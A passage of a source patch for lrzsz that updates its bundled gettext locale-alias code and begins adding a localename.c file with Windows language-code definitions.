-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* Tell glibc's <string.h> to provide a prototype for mempcpy().
-+ This must come before <config.h> because <config.h> may include
-+ <features.h>, and once <features.h> has been included, it's too late. */
-+#ifndef _GNU_SOURCE
-+# define _GNU_SOURCE 1
-+#endif
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
-@@ -22,56 +29,45 @@
-
- #include <ctype.h>
- #include <stdio.h>
-+#if defined _LIBC || defined HAVE___FSETLOCKING
-+# include <stdio_ext.h>
-+#endif
- #include <sys/types.h>
-
- #ifdef __GNUC__
-+# undef alloca
- # define alloca __builtin_alloca
- # define HAVE_ALLOCA 1
- #else
--# if defined HAVE_ALLOCA_H || defined _LIBC
--# include <alloca.h>
-+# ifdef _MSC_VER
-+# include <malloc.h>
-+# define alloca _alloca
- # else
--# ifdef _AIX
-- #pragma alloca
-+# if defined HAVE_ALLOCA_H || defined _LIBC
-+# include <alloca.h>
- # else
--# ifndef alloca
-+# ifdef _AIX
-+ #pragma alloca
-+# else
-+# ifndef alloca
- char *alloca ();
-+# endif
- # endif
- # endif
- # endif
- #endif
-
--#if defined STDC_HEADERS || defined _LIBC
--# include <stdlib.h>
--#else
--char *getenv ();
--# ifdef HAVE_MALLOC_H
--# include <malloc.h>
--# else
--void free ();
--# endif
--#endif
-+#include <stdlib.h>
-+#include <string.h>
-
--#if defined HAVE_STRING_H || defined _LIBC
--# ifndef _GNU_SOURCE
--# define _GNU_SOURCE 1
--# endif
--# include <string.h>
-+#include "gettextP.h"
-+
-+#if ENABLE_RELOCATABLE
-+# include "relocatable.h"
- #else
--# include <strings.h>
--# ifndef memcpy
--# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
--# endif
--#endif
--#if !HAVE_STRCHR && !defined _LIBC
--# ifndef strchr
--# define strchr index
--# endif
-+# define relocate(pathname) (pathname)
- #endif
-
--#include "gettext.h"
--#include "gettextP.h"
--
- /* @@ end of prolog @@ */
-
- #ifdef _LIBC
-@@ -79,43 +75,49 @@
- because some ANSI C functions will require linking with this object
- file and the name space must not be polluted. */
- # define strcasecmp __strcasecmp
-+
-+# ifndef mempcpy
-+# define mempcpy __mempcpy
-+# endif
-+# define HAVE_MEMPCPY 1
-+# define HAVE___FSETLOCKING 1
-+
-+/* We need locking here since we can be called from different places. */
-+# include <bits/libc-lock.h>
-+
-+__libc_lock_define_initialized (static, lock);
-+#endif
-+
-+#ifndef internal_function
-+# define internal_function
- #endif
-
-+/* Some optimizations for glibc. */
-+#ifdef _LIBC
-+# define FEOF(fp) feof_unlocked (fp)
-+# define FGETS(buf, n, fp) fgets_unlocked (buf, n, fp)
-+#else
-+# define FEOF(fp) feof (fp)
-+# define FGETS(buf, n, fp) fgets (buf, n, fp)
-+#endif
-
--/* For those loosing systems which don't have `alloca' we have to add
-+/* For those losing systems which don't have `alloca' we have to add
- some additional code emulating it. */
- #ifdef HAVE_ALLOCA
--/* Nothing has to be done. */
--# define ADD_BLOCK(list, address) /* nothing */
--# define FREE_BLOCKS(list) /* nothing */
-+# define freea(p) /* nothing */
- #else
--struct block_list
--{
-- void *address;
-- struct block_list *next;
--};
--# define ADD_BLOCK(list, addr) \
-- do { \
-- struct block_list *newp = (struct block_list *) malloc (sizeof (*newp)); \
-- /* If we cannot get a free block we cannot add the new element to \
-- the list. */ \
-- if (newp != NULL) { \
-- newp->address = (addr); \
-- newp->next = (list); \
-- (list) = newp; \
-- } \
-- } while (0)
--# define FREE_BLOCKS(list) \
-- do { \
-- while (list != NULL) { \
-- struct block_list *old = list; \
-- list = list->next; \
-- free (old); \
-- } \
-- } while (0)
--# undef alloca
--# define alloca(size) (malloc (size))
--#endif /* have alloca */
-+# define alloca(n) malloc (n)
-+# define freea(p) free (p)
-+#endif
-+
-+#if defined _LIBC_REENTRANT || HAVE_DECL_FGETS_UNLOCKED
-+# undef fgets
-+# define fgets(buf, len, s) fgets_unlocked (buf, len, s)
-+#endif
-+#if defined _LIBC_REENTRANT || HAVE_DECL_FEOF_UNLOCKED
-+# undef feof
-+# define feof(s) feof_unlocked (s)
-+#endif
-
-
- struct alias_map
-@@ -125,26 +127,41 @@
- };
-
-
--static struct alias_map *map;
--static size_t nmap = 0;
--static size_t maxmap = 0;
-+#ifndef _LIBC
-+# define libc_freeres_ptr(decl) decl
-+#endif
-+
-+libc_freeres_ptr (static char *string_space);
-+static size_t string_space_act;
-+static size_t string_space_max;
-+libc_freeres_ptr (static struct alias_map *map);
-+static size_t nmap;
-+static size_t maxmap;
-
-
- /* Prototypes for local functions. */
--static size_t read_alias_file PARAMS ((const char *fname, int fname_len));
--static void extend_alias_table PARAMS ((void));
--static int alias_compare PARAMS ((const struct alias_map *map1,
-- const struct alias_map *map2));
-+static size_t read_alias_file (const char *fname, int fname_len)
-+ internal_function;
-+static int extend_alias_table (void);
-+static int alias_compare (const struct alias_map *map1,
-+ const struct alias_map *map2);
-
-
- const char *
--_nl_expand_alias (name)
-- const char *name;
-+_nl_expand_alias (const char *name)
- {
-- static const char *locale_alias_path = LOCALE_ALIAS_PATH;
-+ static const char *locale_alias_path;
- struct alias_map *retval;
-+ const char *result = NULL;
- size_t added;
-
-+#ifdef _LIBC
-+ __libc_lock_lock (lock);
-+#endif
-+
-+ if (locale_alias_path == NULL)
-+ locale_alias_path = LOCALE_ALIAS_PATH;
-+
- do
- {
- struct alias_map item;
-@@ -154,15 +171,18 @@
- if (nmap > 0)
- retval = (struct alias_map *) bsearch (&item, map, nmap,
- sizeof (struct alias_map),
-- (int (*) PARAMS ((const void *,
-- const void *))
-+ (int (*) (const void *,
-+ const void *)
- ) alias_compare);
- else
- retval = NULL;
-
- /* We really found an alias. Return the value. */
- if (retval != NULL)
-- return retval->value;
-+ {
-+ result = retval->value;
-+ break;
-+ }
-
- /* Perhaps we can find another alias file. */
- added = 0;
-@@ -170,11 +190,12 @@
- {
- const char *start;
-
-- while (locale_alias_path[0] == ':')
-+ while (locale_alias_path[0] == PATH_SEPARATOR)
- ++locale_alias_path;
- start = locale_alias_path;
-
-- while (locale_alias_path[0] != '\0' && locale_alias_path[0] != ':')
-+ while (locale_alias_path[0] != '\0'
-+ && locale_alias_path[0] != PATH_SEPARATOR)
- ++locale_alias_path;
-
- if (start < locale_alias_path)
-@@ -183,78 +204,87 @@
- }
- while (added != 0);
-
-- return NULL;
-+#ifdef _LIBC
-+ __libc_lock_unlock (lock);
-+#endif
-+
-+ return result;
- }
-
-
- static size_t
--read_alias_file (fname, fname_len)
-- const char *fname;
-- int fname_len;
-+internal_function
-+read_alias_file (const char *fname, int fname_len)
- {
--#ifndef HAVE_ALLOCA
-- struct block_list *block_list = NULL;
--#endif
- FILE *fp;
- char *full_fname;
- size_t added;
- static const char aliasfile[] = "/locale.alias";
-
- full_fname = (char *) alloca (fname_len + sizeof aliasfile);
-- ADD_BLOCK (block_list, full_fname);
-+#ifdef HAVE_MEMPCPY
-+ mempcpy (mempcpy (full_fname, fname, fname_len),
-+ aliasfile, sizeof aliasfile);
-+#else
- memcpy (full_fname, fname, fname_len);
- memcpy (&full_fname[fname_len], aliasfile, sizeof aliasfile);
-+#endif
-
-- fp = fopen (full_fname, "r");
-+ fp = fopen (relocate (full_fname), "r");
-+ freea (full_fname);
- if (fp == NULL)
-- {
-- FREE_BLOCKS (block_list);
-- return 0;
-- }
-+ return 0;
-+
-+#ifdef HAVE___FSETLOCKING
-+ /* No threads present. */
-+ __fsetlocking (fp, FSETLOCKING_BYCALLER);
-+#endif
-
- added = 0;
-- while (!feof (fp))
-+ while (!FEOF (fp))
- {
- /* It is a reasonable approach to use a fix buffer here because
- a) we are only interested in the first two fields
- b) these fields must be usable as file names and so must not
- be that long
-- */
-- char buf[BUFSIZ];
-+ We avoid a multi-kilobyte buffer here since this would use up
-+ stack space which we might not have if the program ran out of
-+ memory. */
-+ char buf[400];
- char *alias;
- char *value;
- char *cp;
-
-- if (fgets (buf, BUFSIZ, fp) == NULL)
-+ if (FGETS (buf, sizeof buf, fp) == NULL)
- /* EOF reached. */
- break;
-
- cp = buf;
- /* Ignore leading white space. */
-- while (isspace (cp[0]))
-+ while (isspace ((unsigned char) cp[0]))
- ++cp;
-
- /* A leading '#' signals a comment line. */
- if (cp[0] != '\0' && cp[0] != '#')
- {
- alias = cp++;
-- while (cp[0] != '\0' && !isspace (cp[0]))
-+ while (cp[0] != '\0' && !isspace ((unsigned char) cp[0]))
- ++cp;
- /* Terminate alias name. */
- if (cp[0] != '\0')
- *cp++ = '\0';
-
- /* Now look for the beginning of the value. */
-- while (isspace (cp[0]))
-+ while (isspace ((unsigned char) cp[0]))
- ++cp;
-
- if (cp[0] != '\0')
- {
-- char *tp;
-- size_t len;
-+ size_t alias_len;
-+ size_t value_len;
-
- value = cp++;
-- while (cp[0] != '\0' && !isspace (cp[0]))
-+ while (cp[0] != '\0' && !isspace ((unsigned char) cp[0]))
- ++cp;
- /* Terminate value. */
- if (cp[0] == '\n')
-@@ -269,28 +299,44 @@
- *cp++ = '\0';
-
- if (nmap >= maxmap)
-- extend_alias_table ();
--
-- /* We cannot depend on strdup available in the libc. Sigh! */
-- len = strlen (alias) + 1;
-- tp = (char *) malloc (len);
-- if (tp == NULL)
-- {
-- FREE_BLOCKS (block_list);
-+ if (__builtin_expect (extend_alias_table (), 0))
- return added;
-- }
-- memcpy (tp, alias, len);
-- map[nmap].alias = tp;
-
-- len = strlen (value) + 1;
-- tp = (char *) malloc (len);
-- if (tp == NULL)
-+ alias_len = strlen (alias) + 1;
-+ value_len = strlen (value) + 1;
-+
-+ if (string_space_act + alias_len + value_len > string_space_max)
- {
-- FREE_BLOCKS (block_list);
-- return added;
-+ /* Increase size of memory pool. */
-+ size_t new_size = (string_space_max
-+ + (alias_len + value_len > 1024
-+ ? alias_len + value_len : 1024));
-+ char *new_pool = (char *) realloc (string_space, new_size);
-+ if (new_pool == NULL)
-+ return added;
-+
-+ if (__builtin_expect (string_space != new_pool, 0))
-+ {
-+ size_t i;
-+
-+ for (i = 0; i < nmap; i++)
-+ {
-+ map[i].alias += new_pool - string_space;
-+ map[i].value += new_pool - string_space;
-+ }
-+ }
-+
-+ string_space = new_pool;
-+ string_space_max = new_size;
- }
-- memcpy (tp, value, len);
-- map[nmap].value = tp;
-+
-+ map[nmap].alias = memcpy (&string_space[string_space_act],
-+ alias, alias_len);
-+ string_space_act += alias_len;
-+
-+ map[nmap].value = memcpy (&string_space[string_space_act],
-+ value, value_len);
-+ string_space_act += value_len;
-
- ++nmap;
- ++added;
-@@ -299,14 +345,11 @@
-
- /* Possibly not the whole line fits into the buffer. Ignore
- the rest of the line. */
-- while (strchr (cp, '\n') == NULL)
-- {
-- cp = buf;
-- if (fgets (buf, BUFSIZ, fp) == NULL)
-- /* Make sure the inner loop will be left. The outer loop
-- will exit at the `feof' test. */
-- *cp = '\n';
-- }
-+ while (strchr (buf, '\n') == NULL)
-+ if (FGETS (buf, sizeof buf, fp) == NULL)
-+ /* Make sure the inner loop will be left. The outer loop
-+ will exit at the `feof' test. */
-+ break;
- }
-
- /* Should we test for ferror()? I think we have to silently ignore
-@@ -315,40 +358,33 @@
-
- if (added > 0)
- qsort (map, nmap, sizeof (struct alias_map),
-- (int (*) PARAMS ((const void *, const void *))) alias_compare);
-+ (int (*) (const void *, const void *)) alias_compare);
-
-- FREE_BLOCKS (block_list);
- return added;
- }
-
-
--static void
-+static int
- extend_alias_table ()
- {
- size_t new_size;
- struct alias_map *new_map;
-
- new_size = maxmap == 0 ? 100 : 2 * maxmap;
-- new_map = (struct alias_map *) malloc (new_size
-- * sizeof (struct alias_map));
-+ new_map = (struct alias_map *) realloc (map, (new_size
-+ * sizeof (struct alias_map)));
- if (new_map == NULL)
- /* Simply don't extend: we don't have any more core. */
-- return;
--
-- memcpy (new_map, map, nmap * sizeof (struct alias_map));
--
-- if (maxmap != 0)
-- free (map);
-+ return -1;
-
- map = new_map;
- maxmap = new_size;
-+ return 0;
- }
-
-
- static int
--alias_compare (map1, map2)
-- const struct alias_map *map1;
-- const struct alias_map *map2;
-+alias_compare (const struct alias_map *map1, const struct alias_map *map2)
- {
- #if defined _LIBC || defined HAVE_STRCASECMP
- return strcasecmp (map1->alias, map2->alias);
---- lrzsz-0.12.20.safe/intl/localename.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/localename.c 2004-09-12 14:40:34.510724528 -0400
-@@ -0,0 +1,1142 @@
-+/* Determine the current selected locale.
-+ Copyright (C) 1995-1999, 2000-2004 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* Written by Ulrich Drepper <drepper@gnu.org>, 1995. */
-+/* Win32 code written by Tor Lillqvist <tml@iki.fi>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <stdlib.h>
-+#include <locale.h>
-+
-+#if defined _WIN32 || defined __WIN32__
-+# undef WIN32 /* avoid warning on mingw32 */
-+# define WIN32
-+#endif
-+
-+#ifdef WIN32
-+# define WIN32_LEAN_AND_MEAN
-+# include <windows.h>
-+/* List of language codes, sorted by value:
-+ 0x01 LANG_ARABIC
-+ 0x02 LANG_BULGARIAN
-+ 0x03 LANG_CATALAN
-+ 0x04 LANG_CHINESE
-+ 0x05 LANG_CZECH
-+ 0x06 LANG_DANISH
-+ 0x07 LANG_GERMAN
-+ 0x08 LANG_GREEK
-+ 0x09 LANG_ENGLISH
-+ 0x0a LANG_SPANISH
-+ 0x0b LANG_FINNISH
-+ 0x0c LANG_FRENCH
-+ 0x0d LANG_HEBREW
-+ 0x0e LANG_HUNGARIAN
-+ 0x0f LANG_ICELANDIC
-+ 0x10 LANG_ITALIAN
-+ 0x11 LANG_JAPANESE
-+ 0x12 LANG_KOREAN
-+ 0x13 LANG_DUTCH
-+ 0x14 LANG_NORWEGIAN
-+ 0x15 LANG_POLISH
-+ 0x16 LANG_PORTUGUESE
-+ 0x17 LANG_RHAETO_ROMANCE
-+ 0x18 LANG_ROMANIAN
-+ 0x19 LANG_RUSSIAN
-+ 0x1a LANG_CROATIAN == LANG_SERBIAN
-+ 0x1b LANG_SLOVAK
-+ 0x1c LANG_ALBANIAN
-+ 0x1d LANG_SWEDISH
-+ 0x1e LANG_THAI
-+ 0x1f LANG_TURKISH
-+ 0x20 LANG_URDU
-+ 0x21 LANG_INDONESIAN
-+ 0x22 LANG_UKRAINIAN
-+ 0x23 LANG_BELARUSIAN
-+ 0x24 LANG_SLOVENIAN
-+ 0x25 LANG_ESTONIAN
-+ 0x26 LANG_LATVIAN
-+ 0x27 LANG_LITHUANIAN
-+ 0x28 LANG_TAJIK
-+ 0x29 LANG_FARSI
-+ 0x2a LANG_VIETNAMESE
-+ 0x2b LANG_ARMENIAN
-+ 0x2c LANG_AZERI
-+ 0x2d LANG_BASQUE
-+ 0x2e LANG_SORBIAN
-+ 0x2f LANG_MACEDONIAN
-+ 0x30 LANG_SUTU
-+ 0x31 LANG_TSONGA
-+ 0x32 LANG_TSWANA
-+ 0x33 LANG_VENDA
-+ 0x34 LANG_XHOSA
-+ 0x35 LANG_ZULU
-+ 0x36 LANG_AFRIKAANS
-+ 0x37 LANG_GEORGIAN
-+ 0x38 LANG_FAEROESE
-+ 0x39 LANG_HINDI
-+ 0x3a LANG_MALTESE
-+ 0x3b LANG_SAAMI
-+ 0x3c LANG_GAELIC
-+ 0x3d LANG_YIDDISH
-+ 0x3e LANG_MALAY
-+ 0x3f LANG_KAZAK
-+ 0x40 LANG_KYRGYZ
-+ 0x41 LANG_SWAHILI
-+ 0x42 LANG_TURKMEN
-+ 0x43 LANG_UZBEK
-+ 0x44 LANG_TATAR
-+ 0x45 LANG_BENGALI
-+ 0x46 LANG_PUNJABI
-+ 0x47 LANG_GUJARATI
-+ 0x48 LANG_ORIYA
-+ 0x49 LANG_TAMIL
-+ 0x4a LANG_TELUGU
-+ 0x4b LANG_KANNADA
-+ 0x4c LANG_MALAYALAM
-+ 0x4d LANG_ASSAMESE
-+ 0x4e LANG_MARATHI
-+ 0x4f LANG_SANSKRIT
-+ 0x50 LANG_MONGOLIAN
-+ 0x51 LANG_TIBETAN
-+ 0x52 LANG_WELSH
-+ 0x53 LANG_CAMBODIAN
-+ 0x54 LANG_LAO
-+ 0x55 LANG_BURMESE
-+ 0x56 LANG_GALICIAN
-+ 0x57 LANG_KONKANI
-+ 0x58 LANG_MANIPURI
-+ 0x59 LANG_SINDHI
-+ 0x5a LANG_SYRIAC
-+ 0x5b LANG_SINHALESE
-+ 0x5c LANG_CHEROKEE
-+ 0x5d LANG_INUKTITUT
-+ 0x5e LANG_AMHARIC
-+ 0x5f LANG_TAMAZIGHT
-+ 0x60 LANG_KASHMIRI
-+ 0x61 LANG_NEPALI
-+ 0x62 LANG_FRISIAN
-+ 0x63 LANG_PASHTO
-+ 0x64 LANG_TAGALOG
-+ 0x65 LANG_DIVEHI
-+ 0x66 LANG_EDO
-+ 0x67 LANG_FULFULDE
-+ 0x68 LANG_HAUSA
-+ 0x69 LANG_IBIBIO
-+ 0x6a LANG_YORUBA
-+ 0x70 LANG_IGBO
-+ 0x71 LANG_KANURI
-+ 0x72 LANG_OROMO
-+ 0x73 LANG_TIGRINYA
-+ 0x74 LANG_GUARANI
-+ 0x75 LANG_HAWAIIAN
-+ 0x76 LANG_LATIN
-+ 0x77 LANG_SOMALI
-+ 0x78 LANG_YI
-+ 0x79 LANG_PAPIAMENTU
-+*/
-+/* Mingw headers don't have latest language and sublanguage codes. */
-+# ifndef LANG_AFRIKAANS
-+# define LANG_AFRIKAANS 0x36
-+# endif
-+# ifndef LANG_ALBANIAN
-+# define LANG_ALBANIAN 0x1c
-+# endif
-+# ifndef LANG_AMHARIC
-+# define LANG_AMHARIC 0x5e
-+# endif
-+# ifndef LANG_ARABIC
-+# define LANG_ARABIC 0x01
-+# endif
-+# ifndef LANG_ARMENIAN
-+# define LANG_ARMENIAN 0x2b
-+# endif
-+# ifndef LANG_ASSAMESE
-+# define LANG_ASSAMESE 0x4d
-+# endif
-+# ifndef LANG_AZERI
-+# define LANG_AZERI 0x2c
-+# endif
-+# ifndef LANG_BASQUE
-+# define LANG_BASQUE 0x2d
-+# endif
-+# ifndef LANG_BELARUSIAN
-+# define LANG_BELARUSIAN 0x23
-+# endif
-+# ifndef LANG_BENGALI
-+# define LANG_BENGALI 0x45
-+# endif
-+# ifndef LANG_BURMESE
-+# define LANG_BURMESE 0x55
-+# endif
-+# ifndef LANG_CAMBODIAN
-+# define LANG_CAMBODIAN 0x53
-+# endif
-+# ifndef LANG_CATALAN
-+# define LANG_CATALAN 0x03
-+# endif
-+# ifndef LANG_CHEROKEE
-+# define LANG_CHEROKEE 0x5c
-+# endif
-+# ifndef LANG_DIVEHI
-+# define LANG_DIVEHI 0x65
-+# endif
-+# ifndef LANG_EDO
-+# define LANG_EDO 0x66
-+# endif
-+# ifndef LANG_ESTONIAN
-+# define LANG_ESTONIAN 0x25
-+# endif
-+# ifndef LANG_FAEROESE
-+# define LANG_FAEROESE 0x38
-+# endif
-+# ifndef LANG_FARSI
-+# define LANG_FARSI 0x29
-+# endif
-+# ifndef LANG_FRISIAN
-+# define LANG_FRISIAN 0x62
-+# endif
-+# ifndef LANG_FULFULDE
-+# define LANG_FULFULDE 0x67
-+# endif
-+# ifndef LANG_GAELIC
-+# define LANG_GAELIC 0x3c
-+# endif
-+# ifndef LANG_GALICIAN
-+# define LANG_GALICIAN 0x56
-+# endif
-+# ifndef LANG_GEORGIAN
-+# define LANG_GEORGIAN 0x37
-+# endif
-+# ifndef LANG_GUARANI
-+# define LANG_GUARANI 0x74
-+# endif
-+# ifndef LANG_GUJARATI
-+# define LANG_GUJARATI 0x47
-+# endif
-+# ifndef LANG_HAUSA
-+# define LANG_HAUSA 0x68
-+# endif
-+# ifndef LANG_HAWAIIAN
-+# define LANG_HAWAIIAN 0x75
-+# endif
-+# ifndef LANG_HEBREW
-+# define LANG_HEBREW 0x0d
-+# endif
-+# ifndef LANG_HINDI
-+# define LANG_HINDI 0x39
-+# endif
-+# ifndef LANG_IBIBIO
-+# define LANG_IBIBIO 0x69
-+# endif
-+# ifndef LANG_IGBO
-+# define LANG_IGBO 0x70
-+# endif
-+# ifndef LANG_INDONESIAN
-+# define LANG_INDONESIAN 0x21
-+# endif
-+# ifndef LANG_INUKTITUT
-+# define LANG_INUKTITUT 0x5d
-+# endif
-+# ifndef LANG_KANNADA
-+# define LANG_KANNADA 0x4b
-+# endif
-+# ifndef LANG_KANURI
-+# define LANG_KANURI 0x71
-+# endif
-+# ifndef LANG_KASHMIRI
-+# define LANG_KASHMIRI 0x60
-+# endif
-+# ifndef LANG_KAZAK
-+# define LANG_KAZAK 0x3f
-+# endif
-+# ifndef LANG_KONKANI
-+# define LANG_KONKANI 0x57
-+# endif
-+# ifndef LANG_KYRGYZ
-+# define LANG_KYRGYZ 0x40
-+# endif
-+# ifndef LANG_LAO
-+# define LANG_LAO 0x54
-+# endif
-+# ifndef LANG_LATIN
-+# define LANG_LATIN 0x76
-+# endif
-+# ifndef LANG_LATVIAN
-+# define LANG_LATVIAN 0x26
-+# endif
-+# ifndef LANG_LITHUANIAN
-+# define LANG_LITHUANIAN 0x27
-+# endif
-+# ifndef LANG_MACEDONIAN
-+# define LANG_MACEDONIAN 0x2f
-+# endif
-+# ifndef LANG_MALAY
-+# define LANG_MALAY 0x3e
-+# endif
-+# ifndef LANG_MALAYALAM
-+# define LANG_MALAYALAM 0x4c
-+# endif
-+# ifndef LANG_MALTESE
-+# define LANG_MALTESE 0x3a
-+# endif
-+# ifndef LANG_MANIPURI
-+# define LANG_MANIPURI 0x58
-+# endif
-+# ifndef LANG_MARATHI
-+# define LANG_MARATHI 0x4e
-+# endif
-+# ifndef LANG_MONGOLIAN
-+# define LANG_MONGOLIAN 0x50
-+# endif
-+# ifndef LANG_NEPALI
-+# define LANG_NEPALI 0x61
-+# endif
-+# ifndef LANG_ORIYA
-+# define LANG_ORIYA 0x48
-+# endif
-+# ifndef LANG_OROMO
-+# define LANG_OROMO 0x72
-+# endif
-+# ifndef LANG_PAPIAMENTU
-+# define LANG_PAPIAMENTU 0x79
-+# endif
-+# ifndef LANG_PASHTO
-+# define LANG_PASHTO 0x63
-+# endif
-+# ifndef LANG_PUNJABI
-+# define LANG_PUNJABI 0x46
-+# endif
-+# ifndef LANG_RHAETO_ROMANCE
-+# define LANG_RHAETO_ROMANCE 0x17
-+# endif
-+# ifndef LANG_SAAMI
-+# define LANG_SAAMI 0x3b
-+# endif
-+# ifndef LANG_SANSKRIT
-+# define LANG_SANSKRIT 0x4f
-+# endif
-+# ifndef LANG_SERBIAN
-+# define LANG_SERBIAN 0x1a
-+# endif
-+# ifndef LANG_SINDHI
-+# define LANG_SINDHI 0x59
-+# endif
-+# ifndef LANG_SINHALESE
-+# define LANG_SINHALESE 0x5b
-+# endif
-+# ifndef LANG_SLOVAK
-+# define LANG_SLOVAK 0x1b
-+# endif
-+# ifndef LANG_SOMALI
-+# define LANG_SOMALI 0x77
-+# endif
-+# ifndef LANG_SORBIAN
-+# define LANG_SORBIAN 0x2e
-+# endif
-+# ifndef LANG_SUTU
-+# define LANG_SUTU 0x30
-+# endif
-+# ifndef LANG_SWAHILI
-+# define LANG_SWAHILI 0x41
-+# endif
-+# ifndef LANG_SYRIAC
-+# define LANG_SYRIAC 0x5a
-+# endif
-+# ifndef LANG_TAGALOG
-+# define LANG_TAGALOG 0x64
-+# endif
-+# ifndef LANG_TAJIK
-+# define LANG_TAJIK 0x28
-+# endif
-+# ifndef LANG_TAMAZIGHT
-+# define LANG_TAMAZIGHT 0x5f
-+# endif
-+# ifndef LANG_TAMIL
-+# define LANG_TAMIL 0x49
-+# endif
-+# ifndef LANG_TATAR
-+# define LANG_TATAR 0x44
-+# endif
-+# ifndef LANG_TELUGU
-+# define LANG_TELUGU 0x4a
-+# endif
-+# ifndef LANG_THAI
-+# define LANG_THAI 0x1e
-+# endif
-+# ifndef LANG_TIBETAN
-+# define LANG_TIBETAN 0x51
-+# endif
-+# ifndef LANG_TIGRINYA
-+# define LANG_TIGRINYA 0x73
-+# endif
-+# ifndef LANG_TSONGA
-+# define LANG_TSONGA 0x31
-+# endif
-+# ifndef LANG_TSWANA
-+# define LANG_TSWANA 0x32
-+# endif
-+# ifndef LANG_TURKMEN
-+# define LANG_TURKMEN 0x42
-+# endif
-+# ifndef LANG_UKRAINIAN
-+# define LANG_UKRAINIAN 0x22
-+# endif
-+# ifndef LANG_URDU
-+# define LANG_URDU 0x20
-+# endif
-+# ifndef LANG_UZBEK
-+# define LANG_UZBEK 0x43
-+# endif
-+# ifndef LANG_VENDA
-+# define LANG_VENDA 0x33
-+# endif
-+# ifndef LANG_VIETNAMESE
-+# define LANG_VIETNAMESE 0x2a
-+# endif
-+# ifndef LANG_WELSH
-+# define LANG_WELSH 0x52
-+# endif
-+# ifndef LANG_XHOSA
-+# define LANG_XHOSA 0x34
-+# endif
-+# ifndef LANG_YI
-+# define LANG_YI 0x78
-+# endif
-+# ifndef LANG_YIDDISH
-+# define LANG_YIDDISH 0x3d
-+# endif
-+# ifndef LANG_YORUBA
-+# define LANG_YORUBA 0x6a
-+# endif
-+# ifndef LANG_ZULU
-+# define LANG_ZULU 0x35
-+# endif
-+# ifndef SUBLANG_ARABIC_SAUDI_ARABIA
-+# define SUBLANG_ARABIC_SAUDI_ARABIA 0x01
-+# endif
-+# ifndef SUBLANG_ARABIC_IRAQ
-+# define SUBLANG_ARABIC_IRAQ 0x02
-+# endif
-+# ifndef SUBLANG_ARABIC_EGYPT
-+# define SUBLANG_ARABIC_EGYPT 0x03
-+# endif
-+# ifndef SUBLANG_ARABIC_LIBYA
-+# define SUBLANG_ARABIC_LIBYA 0x04
-+# endif
-+# ifndef SUBLANG_ARABIC_ALGERIA
-+# define SUBLANG_ARABIC_ALGERIA 0x05
-+# endif
-+# ifndef SUBLANG_ARABIC_MOROCCO
-+# define SUBLANG_ARABIC_MOROCCO 0x06
-+# endif
-+# ifndef SUBLANG_ARABIC_TUNISIA
-+# define SUBLANG_ARABIC_TUNISIA 0x07
-+# endif
-+# ifndef SUBLANG_ARABIC_OMAN
-+# define SUBLANG_ARABIC_OMAN 0x08
-+# endif
-+# ifndef SUBLANG_ARABIC_YEMEN
-+# define SUBLANG_ARABIC_YEMEN 0x09
-+# endif
-+# ifndef SUBLANG_ARABIC_SYRIA
-+# define SUBLANG_ARABIC_SYRIA 0x0a
-+# endif
-+# ifndef SUBLANG_ARABIC_JORDAN
-+# define SUBLANG_ARABIC_JORDAN 0x0b
-+# endif
-+# ifndef SUBLANG_ARABIC_LEBANON
-+# define SUBLANG_ARABIC_LEBANON 0x0c
-+# endif
-+# ifndef SUBLANG_ARABIC_KUWAIT
-+# define SUBLANG_ARABIC_KUWAIT 0x0d
-+# endif
-+# ifndef SUBLANG_ARABIC_UAE
-+# define SUBLANG_ARABIC_UAE 0x0e
-+# endif
-+# ifndef SUBLANG_ARABIC_BAHRAIN
-+# define SUBLANG_ARABIC_BAHRAIN 0x0f
-+# endif
-+# ifndef SUBLANG_ARABIC_QATAR
-+# define SUBLANG_ARABIC_QATAR 0x10
-+# endif
-+# ifndef SUBLANG_AZERI_LATIN
-+# define SUBLANG_AZERI_LATIN 0x01
-+# endif
-+# ifndef SUBLANG_AZERI_CYRILLIC
-+# define SUBLANG_AZERI_CYRILLIC 0x02
-+# endif
-+# ifndef SUBLANG_BENGALI_INDIA
-+# define SUBLANG_BENGALI_INDIA 0x00
-+# endif
-+# ifndef SUBLANG_BENGALI_BANGLADESH
-+# define SUBLANG_BENGALI_BANGLADESH 0x01
-+# endif
-+# ifndef SUBLANG_CHINESE_MACAU
-+# define SUBLANG_CHINESE_MACAU 0x05
-+# endif
-+# ifndef SUBLANG_ENGLISH_SOUTH_AFRICA
-+# define SUBLANG_ENGLISH_SOUTH_AFRICA 0x07
-+# endif
-+# ifndef SUBLANG_ENGLISH_JAMAICA
-+# define SUBLANG_ENGLISH_JAMAICA 0x08
-+# endif
-+# ifndef SUBLANG_ENGLISH_CARIBBEAN
-+# define SUBLANG_ENGLISH_CARIBBEAN 0x09
-+# endif
-+# ifndef SUBLANG_ENGLISH_BELIZE
-+# define SUBLANG_ENGLISH_BELIZE 0x0a
-+# endif
-+# ifndef SUBLANG_ENGLISH_TRINIDAD
-+# define SUBLANG_ENGLISH_TRINIDAD 0x0b
-+# endif
-+# ifndef SUBLANG_ENGLISH_ZIMBABWE
-+# define SUBLANG_ENGLISH_ZIMBABWE 0x0c
-+# endif
-+# ifndef SUBLANG_ENGLISH_PHILIPPINES
-+# define SUBLANG_ENGLISH_PHILIPPINES 0x0d
-+# endif
-+# ifndef SUBLANG_ENGLISH_INDONESIA
